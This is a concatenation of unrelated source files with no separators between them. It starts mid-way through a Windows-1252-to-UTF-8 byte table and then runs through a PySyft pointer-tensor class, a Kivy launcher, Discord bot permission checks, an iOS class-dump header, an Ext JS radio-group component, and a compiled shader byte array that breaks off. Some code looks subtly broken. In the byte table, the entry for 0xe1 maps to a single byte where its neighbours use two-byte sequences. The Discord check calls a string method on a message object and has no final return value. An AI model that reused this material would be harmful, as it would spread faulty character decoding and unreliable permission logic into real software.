b'\xe2\x80\x9a', # ‚ 0x83 : b'\xc6\x92', # ƒ 0x84 : b'\xe2\x80\x9e', # „ 0x85 : b'\xe2\x80\xa6', # … 0x86 : b'\xe2\x80\xa0', # † 0x87 : b'\xe2\x80\xa1', # ‡ 0x88 : b'\xcb\x86', # ˆ 0x89 : b'\xe2\x80\xb0', # ‰ 0x8a : b'\xc5\xa0', # Š 0x8b : b'\xe2\x80\xb9', # ‹ 0x8c : b'\xc5\x92', # Œ 0x8e : b'\xc5\xbd', # Ž 0x91 : b'\xe2\x80\x98', # ‘ 0x92 : b'\xe2\x80\x99', # ’ 0x93 : b'\xe2\x80\x9c', # “ 0x94 : b'\xe2\x80\x9d', # ” 0x95 : b'\xe2\x80\xa2', # • 0x96 : b'\xe2\x80\x93', # – 0x97 : b'\xe2\x80\x94', # — 0x98 : b'\xcb\x9c', # ˜ 0x99 : b'\xe2\x84\xa2', # ™ 0x9a : b'\xc5\xa1', # š 0x9b : b'\xe2\x80\xba', # › 0x9c : b'\xc5\x93', # œ 0x9e : b'\xc5\xbe', # ž 0x9f : b'\xc5\xb8', # Ÿ 0xa0 : b'\xc2\xa0', #   0xa1 : b'\xc2\xa1', # ¡ 0xa2 : b'\xc2\xa2', # ¢ 0xa3 : b'\xc2\xa3', # £ 0xa4 : b'\xc2\xa4', # ¤ 0xa5 : b'\xc2\xa5', # ¥ 0xa6 : b'\xc2\xa6', # ¦ 0xa7 : b'\xc2\xa7', # § 0xa8 : b'\xc2\xa8', # ¨ 0xa9 : b'\xc2\xa9', # © 0xaa : b'\xc2\xaa', # ª 0xab : b'\xc2\xab', # « 0xac : b'\xc2\xac', # ¬ 0xad : b'\xc2\xad', # ­ 0xae : b'\xc2\xae', # ® 0xaf : b'\xc2\xaf', # ¯ 0xb0 : b'\xc2\xb0', # ° 0xb1 : b'\xc2\xb1', # ± 0xb2 : b'\xc2\xb2', # ² 0xb3 : b'\xc2\xb3', # ³ 0xb4 : b'\xc2\xb4', # ´ 0xb5 : b'\xc2\xb5', # µ 0xb6 : b'\xc2\xb6', # ¶ 0xb7 : b'\xc2\xb7', # · 0xb8 : b'\xc2\xb8', # ¸ 0xb9 : b'\xc2\xb9', # ¹ 0xba : b'\xc2\xba', # º 0xbb : b'\xc2\xbb', # » 0xbc : b'\xc2\xbc', # ¼ 0xbd : b'\xc2\xbd', # ½ 0xbe : b'\xc2\xbe', # ¾ 0xbf : b'\xc2\xbf', # ¿ 0xc0 : b'\xc3\x80', # À 0xc1 : b'\xc3\x81', # Á 0xc2 : b'\xc3\x82', #  0xc3 : b'\xc3\x83', # à 0xc4 : b'\xc3\x84', # Ä 0xc5 : b'\xc3\x85', # Å 0xc6 : b'\xc3\x86', # Æ 0xc7 : b'\xc3\x87', # Ç 0xc8 : b'\xc3\x88', # È 0xc9 : b'\xc3\x89', # É 0xca : b'\xc3\x8a', # Ê 0xcb : b'\xc3\x8b', # Ë 0xcc : b'\xc3\x8c', # Ì 0xcd : b'\xc3\x8d', # Í 0xce : b'\xc3\x8e', # Î 0xcf : b'\xc3\x8f', # Ï 0xd0 : b'\xc3\x90', # Ð 0xd1 : b'\xc3\x91', # Ñ 0xd2 : b'\xc3\x92', # Ò 0xd3 : b'\xc3\x93', # Ó 0xd4 : b'\xc3\x94', # Ô 0xd5 : b'\xc3\x95', # Õ 0xd6 : b'\xc3\x96', # Ö 0xd7 : b'\xc3\x97', # × 0xd8 : b'\xc3\x98', # Ø 0xd9 : b'\xc3\x99', # Ù 0xda : b'\xc3\x9a', # Ú 0xdb : b'\xc3\x9b', # Û 0xdc : b'\xc3\x9c', # Ü 0xdd : b'\xc3\x9d', # Ý 0xde : b'\xc3\x9e', # Þ 0xdf : b'\xc3\x9f', # ß 0xe0 : b'\xc3\xa0', # à 0xe1 : b'\xa1', # á 0xe2 : b'\xc3\xa2', # â 0xe3 : b'\xc3\xa3', # ã 0xe4 : b'\xc3\xa4', # ä 0xe5 : b'\xc3\xa5', # å 0xe6 : b'\xc3\xa6', # æ 0xe7 : b'\xc3\xa7', # ç 0xe8 : b'\xc3\xa8', # è 0xe9 : b'\xc3\xa9', # é 0xea : b'\xc3\xaa', # ê 0xeb : b'\xc3\xab', # ë 0xec : b'\xc3\xac', # ì 0xed : b'\xc3\xad', # í 0xee : b'\xc3\xae', # î 0xef : b'\xc3\xaf', # ï 0xf0 : b'\xc3\xb0', # ð 0xf1 : b'\xc3\xb1', # ñ 0xf2 : b'\xc3\xb2', # ò 0xf3 : b'\xc3\xb3', # ó 0xf4 : b'\xc3\xb4', # ô 0xf5 : b'\xc3\xb5', # õ 0xf6 : b'\xc3\xb6', # ö 0xf7 : b'\xc3\xb7', # ÷ 0xf8 : b'\xc3\xb8', # ø 0xf9 : b'\xc3\xb9', # ù 0xfa : b'\xc3\xba', # ú 0xfb : b'\xc3\xbb', # û 0xfc : b'\xc3\xbc', # ü 0xfd : b'\xc3\xbd', # ý 0xfe : b'\xc3\xbe', # þ } MULTIBYTE_MARKERS_AND_SIZES = [ (0xc2, 0xdf, 2), # 2-byte characters start with a byte C2-DF (0xe0, 0xef, 3), # 3-byte characters start with E0-EF (0xf0, 0xf4, 4), # 4-byte characters start with F0-F4 ] FIRST_MULTIBYTE_MARKER = MULTIBYTE_MARKERS_AND_SIZES[0][0] LAST_MULTIBYTE_MARKER = MULTIBYTE_MARKERS_AND_SIZES[-1][1] @classmethod def detwingle(cls, in_bytes, main_encoding="utf8", embedded_encoding="windows-1252"): """Fix characters from one encoding embedded in some other encoding. Currently the only situation supported is Windows-1252 (or its subset ISO-8859-1), embedded in UTF-8. :param in_bytes: A bytestring that you suspect contains characters from multiple encodings. Note that this _must_ be a bytestring. If you've already converted the document to Unicode, you're too late. :param main_encoding: The primary encoding of `in_bytes`. :param embedded_encoding: The encoding that was used to embed characters in the main document. :return: A bytestring in which `embedded_encoding` characters have been converted to their `main_encoding` equivalents. """ if embedded_encoding.replace('_', '-').lower() not in ( 'windows-1252', 'windows_1252'): raise NotImplementedError( "Windows-1252 and ISO-8859-1 are the only currently supported " "embedded encodings.") if main_encoding.lower() not in ('utf8', 'utf-8'): raise NotImplementedError( "UTF-8 is the only currently supported main encoding.") byte_chunks = [] chunk_start = 0 pos = 0 while pos < len(in_bytes): byte = in_bytes[pos] if not isinstance(byte, int): # Python 2.x byte = ord(byte) if (byte >= cls.FIRST_MULTIBYTE_MARKER and byte <= cls.LAST_MULTIBYTE_MARKER): # This is the start of a UTF-8 multibyte character. Skip # to the end. for start, end, size in cls.MULTIBYTE_MARKERS_AND_SIZES: if byte >= start and byte <= end: pos += size break elif byte >= 0x80 and byte in cls.WINDOWS_1252_TO_UTF8: # We found a Windows-1252 character! # Save the string up to this point as a chunk. byte_chunks.append(in_bytes[chunk_start:pos]) # Now translate the Windows-1252 character into UTF-8 # and add it as another, one-byte chunk. byte_chunks.append(cls.WINDOWS_1252_TO_UTF8[byte]) pos += 1 chunk_start = pos else: # Go on to the next character. pos += 1 if chunk_start == 0: # The string is unchanged. return in_bytes else: # Store the final chunk. byte_chunks.append(in_bytes[chunk_start:]) return b''.join(byte_chunks)
from typing import List from typing import Union import syft from syft.generic.frameworks.hook.hook_args import one from syft.generic.frameworks.hook.hook_args import register_type_rule from syft.generic.frameworks.hook.hook_args import register_forward_func from syft.generic.frameworks.hook.hook_args import register_backward_func from syft.generic.frameworks.types import FrameworkShapeType from syft.generic.frameworks.types import FrameworkTensor from syft.generic.tensor import AbstractTensor from syft.generic.pointers.object_pointer import ObjectPointer from syft.workers.abstract import AbstractWorker from syft.exceptions import RemoteObjectFoundError class PointerTensor(ObjectPointer, AbstractTensor): """A pointer to another tensor. A PointerTensor forwards all API calls to the remote.PointerTensor objects point to tensors (as their name implies). They exist to mimic the entire API of a normal tensor, but instead of computing a tensor function locally (such as addition, subtraction, etc.) they forward the computation to a remote machine as specified by self.location. Specifically, every PointerTensor has a tensor located somewhere that it points to (they should never exist by themselves). Note that PointerTensor objects can point to both FrameworkTensor objects AND to other PointerTensor objects. Furthermore, the objects being pointed to can be on the same machine or (more commonly) on a different one. Note further that a PointerTensor does not know the nature how it sends messages to the tensor it points to (whether over socket, http, or some other protocol) as that functionality is abstracted in the AbstractWorker object in self.location. Example: >>> import syft as sy >>> hook = sy.TorchHook() >>> bob = sy.VirtualWorker(id="bob") >>> x = sy.Tensor([1,2,3,4,5]) >>> y = sy.Tensor([1,1,1,1,1]) >>> x_ptr = x.send(bob) # returns a PointerTensor, sends tensor to Bob >>> y_ptr = y.send(bob) # returns a PointerTensor, sends tensor to Bob >>> # executes command on Bob's machine >>> z_ptr = x_ptr + y_ptr """ def __init__( self, location: "AbstractWorker" = None, id_at_location: Union[str, int] = None, owner: "AbstractWorker" = None, id: Union[str, int] = None, garbage_collect_data: bool = True, shape: FrameworkShapeType = None, point_to_attr: str = None, tags: List[str] = None, description: str = None, ): """Initializes a PointerTensor. Args: location: An optional AbstractWorker object which points to the worker on which this pointer's object can be found. id_at_location: An optional string or integer id of the object being pointed to. owner: An optional AbstractWorker object to specify the worker on which the pointer is located. It is also where the pointer is registered if register is set to True. Note that this is different from the location parameter that specifies where the pointer points to. id: An optional string or integer id of the PointerTensor. garbage_collect_data: If true (default), delete the remote object when the pointer is deleted. shape: size of the tensor the pointer points to point_to_attr: string which can tell a pointer to not point directly to\ an object, but to point to an attribute of that object such as .child or .grad. Note the string can be a chain (i.e., .child.child.child or .grad.child.child). Defaults to None, which means don't point to any attr, just point to then object corresponding to the id_at_location. tags: an optional set of strings corresponding to this tensor which this tensor should be searchable for. description: an optional string describing the purpose of the tensor. """ super().__init__( location=location, id_at_location=id_at_location, owner=owner, id=id, garbage_collect_data=garbage_collect_data, point_to_attr=point_to_attr, tags=tags, description=description, ) self._shape = shape def get_shape(self): """Request information about the shape to the remote worker""" return self.owner.request_remote_tensor_shape(self) @property def shape(self): """ This method returns the shape of the data being pointed to. This shape information SHOULD be cached on self._shape, but occasionally this information may not be present. If this is the case, then it requests the shape information from the remote object directly (which is inefficient and should be avoided). """ if self._shape is None: self._shape = self.get_shape() return self._shape @shape.setter def shape(self, new_shape): self._shape = new_shape @property def grad(self): if not hasattr(self, "_grad"): self._grad = self.attr("grad") if self._grad.child.is_none(): return None return self._grad @grad.setter def grad(self, new_grad): self._grad = new_grad @property def data(self): if not hasattr(self, "_data"): self._data = self.attr("data") return self._data @data.setter def data(self, new_data): self._data = new_data def is_none(self): try: return self.owner.request_is_remote_tensor_none(self) except: """TODO: this might hide useful errors, but we don't have good enough remote error handling yet to do anything better.""" return True def clone(self): """ Clone should keep ids unchanged, contrary to copy. We make the choice that a clone operation is local, and can't affect the remote tensors, so garbage_collect_data is always False, both for the tensor cloned and the clone. """ self.garbage_collect_data = False cloned_tensor = type(self)(**self.get_class_attributes()) cloned_tensor.id = self.id cloned_tensor.owner = self.owner return cloned_tensor def get_class_attributes(self): """ Used for cloning (see AbtractTensor) """ return { "location": self.location, "id_at_location": self.id_at_location, "garbage_collect_data": self.garbage_collect_data, } @staticmethod def create_pointer( tensor, location: AbstractWorker = None, id_at_location: (str or int) = None, register: bool = False, owner: AbstractWorker = None, ptr_id: (str or int) = None, garbage_collect_data=None, shape=None, ) -> "PointerTensor": """Creates a pointer to the "self" FrameworkTensor object. This method is called on a FrameworkTensor object, returning a pointer to that object. This method is the CORRECT way to create a pointer, and the parameters of this method give all possible attributes that a pointer can be created with. Args: location: The AbstractWorker object which points to the worker on which this pointer's object can be found. In nearly all cases, this is self.owner and so this attribute can usually be left blank. Very rarely you may know that you are about to move the Tensor to another worker so you can pre-initialize the location attribute of the pointer to some other worker, but this is a rare exception. id_at_location: A string or integer id of the tensor being pointed to. Similar to location, this parameter is almost always self.id and so you can leave this parameter to None. The only exception is if you happen to know that the ID is going to be something different than self.id, but again this is very rare and most of the time, setting this means that you are probably doing something you shouldn't. register: A boolean parameter (default False) that determines whether to register the new pointer that gets created. This is set to false by default because most of the time a pointer is initialized in this way so that it can be sent to someone else (i.e., "Oh you need to point to my tensor? let me create a pointer and send it to you" ). Thus, when a pointer gets created, we want to skip being registered on the local worker because the pointer is about to be sent elsewhere. However, if you are initializing a pointer you intend to keep, then it is probably a good idea to register it, especially if there is any chance that someone else will initialize a pointer to your pointer. owner: A AbstractWorker parameter to specify the worker on which the pointer is located. It is also where the pointer is registered if register is set to True. ptr_id: A string or integer parameter to specify the id of the pointer in case you wish to set it manually for any special reason. Otherwise, it will be set randomly. garbage_collect_data: If true (default), delete the remote tensor when the pointer is deleted. Returns: A FrameworkTensor[PointerTensor] pointer to self. Note that this object itself will likely be wrapped by a FrameworkTensor wrapper. """ if owner is None: owner = tensor.owner if location is None: location = tensor.owner owner = tensor.owner.get_worker(owner) location = tensor.owner.get_worker(location) # previous_pointer = owner.get_pointer_to(location, id_at_location) previous_pointer = None if previous_pointer is None: ptr = PointerTensor( location=location, id_at_location=id_at_location, owner=owner, id=ptr_id, garbage_collect_data=True if garbage_collect_data is None else garbage_collect_data, shape=shape, tags=tensor.tags, description=tensor.description, ) return ptr def move(self, location): ptr = self.owner.send(self, location) ptr.remote_get() # don't want it to accidentally delete the remote object # when this pointer is deleted ptr.garbage_collect_data = False return ptr def remote_send(self, destination, change_location=False): """ Request the worker where the tensor being pointed to belongs to send it to destination. For instance, if C holds a pointer, ptr, to a tensor on A and calls ptr.remote_send(B), C will hold a pointer to a pointer on A which points to the tensor on B. If change_location is set to True, the original pointer will point to the moved object. Considering the same example as before with ptr.remote_send(B, change_location=True): C will hold a pointer to the tensor on B. We may need to be careful here because this pointer will have 2 references pointing to it. """ args = (destination,) kwargs = {"inplace": True} self.owner.send_command(message=("send", self, args, kwargs), recipient=self.location) if change_location: self.location = destination return self def remote_get(self): self.owner.send_command(message=("mid_get", self, (), {}), recipient=self.location) return self def get(self, user=None, reason: str = "", deregister_ptr: bool = True): """Requests the tensor/chain being pointed to, be serialized and return Since PointerTensor objects always point to a remote tensor (or chain of tensors, where a chain is simply a linked-list of tensors linked via their .child attributes), this method will request that the tensor/chain being pointed to be serialized and returned from this function. Note: This will typically mean that the remote object will be removed/destroyed. To just bring a copy back to the local worker, call .copy() before calling .get(). Args: user (obj, optional): user credentials to perform authentication process. reason (str, optional): a description of why the data scientist wants to see it. deregister_ptr (bool, optional): this determines whether to deregister this pointer from the pointer's owner during this method. This defaults to True because the main reason people use this method is to move the tensor from the remote machine to the local one, at which time the pointer has no use. Returns: An AbstractTensor object which is the tensor (or chain) that this object used to point to #on a remote machine. """ tensor = ObjectPointer.get(self, user=user, reason=reason, deregister_ptr=deregister_ptr) # TODO: remove these 3 lines # The fact we have to check this means # something else is probably broken if tensor.is_wrapper: if isinstance(tensor.child, FrameworkTensor): return tensor.child return tensor def attr(self, attr_name): attr_ptr = PointerTensor( id=self.id, owner=self.owner, location=self.location, id_at_location=self.id_at_location, point_to_attr=self._create_attr_name_string(attr_name), ).wrap(register=False) self.__setattr__(attr_name, attr_ptr) return attr_ptr def dim(self) -> int: return len(self.shape) def fix_prec(self, *args, **kwargs): """ Send a command to remote worker to transform a tensor to fix_precision Returns: A pointer to an FixPrecisionTensor """ # Send the command command = ("fix_prec", self, args, kwargs) response = self.owner.send_command(self.location, command) return response fix_precision = fix_prec def float_prec(self, *args, **kwargs): """ Send a command to remote worker to transform a fix_precision tensor back to float_precision Returns: A pointer to a Tensor """ # Send the command command = ("float_prec", self, args, kwargs) response = self.owner.send_command(self.location, command) return response float_precision = float_prec def share(self, *args, **kwargs): """ Send a command to remote worker to additively share a tensor Returns: A pointer to an AdditiveSharingTensor """ # Send the command command = ("share", self, args, kwargs) response = self.owner.send_command(self.location, command) return response def keep(self, *args, **kwargs): """ Send a command to remote worker to keep a promise Returns: A pointer to a Tensor """ # Send the command command = ("keep", self, args, kwargs) response = self.owner.send_command(self.location, command) return response def value(self, *args, **kwargs): """ Send a command to remote worker to get the result generated by a promise. Returns: A pointer to a Tensor """ command = ("value", self, args, kwargs) response = self.owner.send_command(self.location, command) return response def share_(self, *args, **kwargs): """ Send a command to remote worker to additively share inplace a tensor Returns: A pointer to an AdditiveSharingTensor """ # Send the command command = ("share_", self, args, kwargs) response = self.owner.send_command(self.location, command) return self def set_garbage_collect_data(self, value): self.garbage_collect_data = value def item(self) -> None: """ Raising error with a message to be using .get instead of .item """ raise RuntimeError( 'Error, Please consider calling ".get" method instead of ".item" method, ' "so you can be safely getting the item you need." ) def __eq__(self, other): return self.eq(other) @staticmethod def simplify(worker: AbstractWorker, ptr: "PointerTensor") -> tuple: """ This function takes the attributes of a PointerTensor and saves them in a dictionary Args: worker (AbstractWorker): the worker doing the serialization ptr (PointerTensor): a PointerTensor Returns: tuple: a tuple holding the unique attributes of the pointer Examples: data = simplify(ptr) """ return ( # ptr.id, syft.serde.msgpack.serde._simplify(worker, ptr.id), syft.serde.msgpack.serde._simplify(worker, ptr.id_at_location), syft.serde.msgpack.serde._simplify(worker, ptr.location.id), syft.serde.msgpack.serde._simplify(worker, ptr.point_to_attr), syft.serde.msgpack.serde._simplify(worker, ptr._shape), ptr.garbage_collect_data, ) # a more general but slower/more verbose option # data = vars(ptr).copy() # for k, v in data.items(): # if isinstance(v, AbstractWorker): # data[k] = v.id # return _simplify_dictionary(data) @staticmethod def detail(worker: AbstractWorker, tensor_tuple: tuple) -> "PointerTensor": """ This function reconstructs a PointerTensor given it's attributes in form of a dictionary. We use the spread operator to pass the dict data as arguments to the init method of PointerTensor Args: worker: the worker doing the deserialization tensor_tuple: a tuple holding the attributes of the PointerTensor Returns: PointerTensor: a PointerTensor Examples: ptr = detail(data) """ # TODO: fix comment for this and simplifier obj_id, id_at_location, worker_id, point_to_attr, shape, garbage_collect_data = tensor_tuple obj_id = syft.serde.msgpack.serde._detail(worker, obj_id) id_at_location = syft.serde.msgpack.serde._detail(worker, id_at_location) worker_id = syft.serde.msgpack.serde._detail(worker, worker_id) point_to_attr = syft.serde.msgpack.serde._detail(worker, point_to_attr) if shape is not None: shape = syft.hook.create_shape(syft.serde.msgpack.serde._detail(worker, shape)) # If the pointer received is pointing at the current worker, we load the tensor instead if worker_id == worker.id: tensor = worker.get_obj(id_at_location) if point_to_attr is not None and tensor is not None: point_to_attrs = point_to_attr.split(".") for attr in point_to_attrs: if len(attr) > 0: tensor = getattr(tensor, attr) if tensor is not None: if not tensor.is_wrapper and not isinstance(tensor, FrameworkTensor): # if the tensor is a wrapper then it doesn't need to be wrapped # i the tensor isn't a wrapper, BUT it's just a plain torch tensor, # then it doesn't need to be wrapped. # if the tensor is not a wrapper BUT it's also not a torch tensor, # then it needs to be wrapped or else it won't be able to be used # by other interfaces tensor = tensor.wrap() return tensor # Else we keep the same Pointer else: location = syft.hook.local_worker.get_worker(worker_id) ptr = PointerTensor( location=location, id_at_location=id_at_location, owner=worker, id=obj_id, shape=shape, garbage_collect_data=garbage_collect_data, ) return ptr # a more general but slower/more verbose option # new_data = {} # for k, v in data.items(): # key = k.decode() # if type(v) is bytes: # val_str = v.decode() # val = syft.local_worker.get_worker(val_str) # else: # val = v # new_data[key] = val # return PointerTensor(**new_data) ### Register the tensor with hook_args.py ### register_type_rule({PointerTensor: one}) register_forward_func({PointerTensor: lambda p: (_ for _ in ()).throw(RemoteObjectFoundError(p))}) register_backward_func({PointerTensor: lambda i: i})
import matplotlib matplotlib.use('module://kivy.garden.matplotlib.backend_kivy') from pyawl.app import PyAwlApp app = PyAwlApp() app.run()
import discord from discord.ext import commands # todo # locked check # bot admin check # bot operator check # make danny checks override correctly # user_has_permissions vs bot_has_permissions vs check_permissions # uses bot._properties now async def global_checks(ctx): # return await bulbe_perm_check(ctx, "admin") if await bulbe_perm_check(ctx, "admin"): return True if ctx.guild is None: return False if ctx.bot._locked: return False if ctx.message.startswith("__"): return False if ctx.bot.blacklisted([ctx.author.id, ctx.guild.id, ctx.guild.owner.id]): try: await ctx.send("I won't respond to commands by blacklisted users or in blacklisted guilds!") except discord.Forbidden: pass return False async def bulbe_perm_check(ctx, permission): if await ctx.bot.is_owner(ctx.author): return True return permission in ctx.bot._properties.bot_admins[ctx.author.id] def bulbe_perms(permission): async def pred(ctx): if await bulbe_perm_check(ctx, "admin"): return True return await bulbe_perm_check(ctx, permission) return commands.check(pred) def bot_admin(): async def pred(ctx): return await bulbe_perm_check(ctx, "admin") return commands.check(pred) # ---------------------------------------------------------------------------------------------------------------------- async def check_permissions(ctx, perms, *, check=all): is_owner = await ctx.bot.is_owner(ctx.author) if is_owner: return True resolved = ctx.channel.permissions_for(ctx.author) return check(getattr(resolved, name, None) == value for name, value in perms.items()) def has_permissions(*, check=all, **perms): async def pred(ctx): return await check_permissions(ctx, perms, check=check) return commands.check(pred) async def check_guild_permissions(ctx, perms, *, check=all): is_owner = await ctx.bot.is_owner(ctx.author) if is_owner: return True if ctx.guild is None: return False resolved = ctx.author.guild_permissions return check(getattr(resolved, name, None) == value for name, value in perms.items()) def has_guild_permissions(*, check=all, **perms): async def pred(ctx): return await check_guild_permissions(ctx, perms, check=check) return commands.check(pred) # These do not take channel overrides into account def is_mod(): async def pred(ctx): return await check_guild_permissions(ctx, {'manage_guild': True}) return commands.check(pred) def is_admin(): async def pred(ctx): return await check_guild_permissions(ctx, {'administrator': True}) return commands.check(pred) def mod_or_permissions(**perms): perms['manage_guild'] = True async def predicate(ctx): return await check_guild_permissions(ctx, perms, check=any) return commands.check(predicate) def admin_or_permissions(**perms): perms['administrator'] = True async def predicate(ctx): return await check_guild_permissions(ctx, perms, check=any) return commands.check(predicate) def is_in_guilds(*guild_ids): def predicate(ctx): guild = ctx.guild if guild is None: return False return guild.id in guild_ids return commands.check(predicate)
/* * This header is generated by classdump-dyld 1.0 * on Wednesday, March 22, 2017 at 9:09:48 AM Mountain Standard Time * Operating System: Version 10.1 (Build 14U593) * Image Source: /System/Library/PrivateFrameworks/PlacesKit.framework/PlacesKit * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. */ #import <PlacesKit/PlacesKit-Structs.h> #import <libobjc.A.dylib/PXPlacesMapAnnotationRenderer.h> @protocol PXPlacesMapPipelineComponentProvider; @class NSString; @interface PXPlacesMapCircleRenderer : NSObject <PXPlacesMapAnnotationRenderer> { id<PXPlacesMapPipelineComponentProvider> pipelineComponentProvider; } @property (readonly) unsigned long long hash; @property (readonly) Class superclass; @property (copy,readonly) NSString * description; @property (copy,readonly) NSString * debugDescription; @property (assign,nonatomic,__weak) id<PXPlacesMapPipelineComponentProvider> pipelineComponentProvider; @property (readonly) UIEdgeInsets minimumEdgeInsets; -(void)reset; -(long long)annotationType; -(UIEdgeInsets)minimumEdgeInsets; -(id<PXPlacesMapPipelineComponentProvider>)pipelineComponentProvider; -(BOOL)supportsMoveAnimations; -(id)viewForAnnotation:(id)arg1 andMapView:(id)arg2 ; -(id)annotationForGeotaggables:(id)arg1 initialCoordinate:(CLLocationCoordinate2D)arg2 ; -(void)setPipelineComponentProvider:(id<PXPlacesMapPipelineComponentProvider>)arg1 ; @end
/** * This Field is useful for containing multiple {@link Ext.field.Radio radiofield}. * * It plots items into wither horizontal / vertical depending on * {@link Ext.field.FieldGroupContainer#vertical} config properties. * * ## Example usage * * @example * Ext.create('Ext.form.Panel', { * title: 'RadioGroup Example', * width: 300, * height: 125, * fullscreen: true, * items:[{ * xtype: 'radiogroup', * label: 'Two Columns', * // Arrange radio field distributed vertically. * // Automatically latter items flow to next column if * // available height is less to display all the items in single column. * vertical: true, * height: 100, * items: [ * { label: 'Item 1', name: 'rb', value: '1' }, * { label: 'Item 2', name: 'rb', value: '2', checked: true}, * { label: 'Item 3', name: 'rb', value: '3' }, * { label: 'Item 4', name: 'rb', value: '4' }, * { label: 'Item 5', name: 'rb', value: '5' }, * { label: 'Item 6', name: 'rb', value: '6' } * ] * }] * }); * * ## Binding Example * * In the below example, "Item 2" will initially be checked using `myValue: '2'` from * the ViewModel. * * @example * Ext.define('MyApp.main.view.MainModel', { * extend: 'Ext.app.ViewModel', * alias: 'viewmodel.main', * data: { * myValue: '2' * } * }); * * Ext.create('Ext.form.Panel', { * title: 'RadioGroup Example', * viewModel: { * type: 'main' * }, * width: 300, * bodyPadding: 10, * renderTo: Ext.getBody(), * items:[{ * xtype: 'radiogroup', * label: 'Two Columns', * vertical: true, * height: 100, * bind: '{myValue}', * items: [ * { label: 'Item 1', name: 'rb', value: '1' }, * { label: 'Item 2', name: 'rb', value: '2' }, * { label: 'Item 3', name: 'rb', value: '3' }, * { label: 'Item 4', name: 'rb', value: '4' }, * { label: 'Item 5', name: 'rb', value: '5' }, * { label: 'Item 6', name: 'rb', value: '6' } * ] * }] * }); * * @since 7.0 */ Ext.define('Ext.field.RadioGroup', { extend: 'Ext.field.FieldGroupContainer', xtype: 'radiogroup', requires: ['Ext.field.Radio'], /** * @property {Boolean} isRadioGroup * The value `true` to identify an object as an instance of this or derived class. * @readonly */ isRadioGroup: true, /** * @property {String} defaultType * Default item type in radio group * @readonly */ defaultType: 'radiofield', /** * @cfg {Boolean} simpleValue * When set to `true` the `value` of this group of `radiofield` components will be * mapped to the `value` of the checked item. * * This field allows the `radiogroup` to participate in binding an entire group of * radio buttons to a single value. */ simpleValue: true, delegate: '[isRadio]', instanceCls: Ext.baseCSSPrefix + 'radio-group', /** * @method getChecked * return first checked radio field from group */ getChecked: function(query) { return this.getGroupItems('[checked]' + (query || ''))[0]; }, isEqual: function(value1, value2) { if (this.simpleValue) { return String(value1) === String(value2); } return this.callParent([value1, value2]); }, /** * Sets the checked status of the radio group. * If {@link #simpleValue `simpleValue`} is `true`, * value must be a single value, the child radiobutton matching the value * will be checked. If `simpleValue` is not used, value must be an object of name-value * pairs, each child radiobutton matching the name and value will be checked. * @param {String/Object} value Checked value, or the value of the sibling radio button * to check. * @return {Ext.field.RadioGroup} this */ setValue: function(value) { var me = this, items, len, item, i, rbValue, name; // Ignore if value is equals to last updated value if (me.isEqual(value, me.lastValue)) { return me; } items = me.getGroupItems(); len = items.length; me.suspendCheckChange = 1; if (me.simpleValue) { for (i = 0; i < len; i++) { item = items[i]; if (item.getValue() === value) { item.setChecked(true); break; } } } else if (Ext.isObject(value)) { for (name in value) { rbValue = value[name]; for (i = 0; i < len; i++) { item = items[i]; if (item.getName() === name && rbValue === item.getValue()) { item.setChecked(true); break; } } } } me.suspendCheckChange = 0; me.onGroupChange(); return me; }, getValue: function() { var me = this, items, ln, values, item, name, value, bucket, b, field; if (me.simpleValue) { field = me.getChecked(); if (field) { value = field.getValue(); } return value; } items = this.getGroupItems(); ln = items.length; values = {}; for (b = 0; b < ln; b++) { item = items[b]; name = item.getName(); value = item.getValue(); if (value && item.getChecked()) { if (values.hasOwnProperty(name)) { bucket = values[name]; if (!Ext.isArray(bucket)) { bucket = values[name] = [bucket]; } bucket.push(value); } else { values[name] = value; } } } return values; } });
#if 0 // // Generated by Microsoft (R) HLSL Shader Compiler 6.3.9600.16384 // // // Buffer Definitions: // // cbuffer BufferCopyParams // { // // uint FirstPixelOffset; // Offset: 0 Size: 4 [unused] // uint PixelsPerRow; // Offset: 4 Size: 4 [unused] // uint RowStride; // Offset: 8 Size: 4 [unused] // uint RowsPerSlice; // Offset: 12 Size: 4 [unused] // float2 PositionOffset; // Offset: 16 Size: 8 [unused] // float2 PositionScale; // Offset: 24 Size: 8 [unused] // int2 TexLocationOffset; // Offset: 32 Size: 8 [unused] // int2 TexLocationScale; // Offset: 40 Size: 8 [unused] // uint FirstSlice; // Offset: 48 Size: 4 [unused] // // } // // // Resource Bindings: // // Name Type Format Dim Slot Elements // ------------------------------ ---------- ------- ----------- ---- -------- // Buffer4F texture float4 buf 0 1 // BufferCopyParams cbuffer NA NA 0 1 // // // // Input signature: // // Name Index Mask Register SysValue Format Used // -------------------- ----- ------ -------- -------- ------- ------ // SV_Position 0 xyzw 0 POS float // TEXCOORD 0 x 1 NONE uint x // // // Output signature: // // Name Index Mask Register SysValue Format Used // -------------------- ----- ------ -------- -------- ------- ------ // SV_Target 0 xyzw 0 TARGET float xyzw // ps_4_0 dcl_constantbuffer cb0[1], immediateIndexed dcl_resource_buffer (float,float,float,float) t0 dcl_input_ps constant v1.x dcl_output o0.xyzw ld o0.xyzw, v1.xxxx, t0.xyzw ret // Approximately 2 instruction slots used #endif const BYTE g_PS_BufferToTexture_4F[] = { 68, 88, 66, 67, 176, 15, 76, 123, 100, 38, 152, 23, 150, 99, 165, 184, 222, 157, 235, 80, 1, 0, 0, 0, 252, 3, 0, 0, 5, 0, 0, 0, 52, 0, 0, 0, 140, 2, 0, 0, 228, 2, 0, 0, 24, 3, 0, 0, 128, 3, 0, 0, 82, 68, 69, 70, 80, 2, 0, 0, 1, 0, 0, 0, 120, 0, 0, 0, 2, 0, 0, 0, 28, 0, 0, 0, 0, 4, 255, 255, 0, 1, 0, 0, 28, 2, 0, 0, 92, 0, 0, 0, 2, 0, 0, 0, 5, 0, 0, 0, 1, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 1, 0, 0, 0, 13, 0, 0, 0, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 66, 117, 102, 102, 101, 114, 52, 70, 0, 66, 117, 102, 102, 101, 114, 67, 111, 112, 121, 80, 97, 114, 97, 109, 115, 0, 171, 171, 101, 0, 0, 0, 9, 0, 0, 0, 144, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 104, 1, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 124, 1, 0, 0, 0, 0, 0, 0, 140, 1, 0, 0, 4, 0, 0, 0, 4, 0, 0, 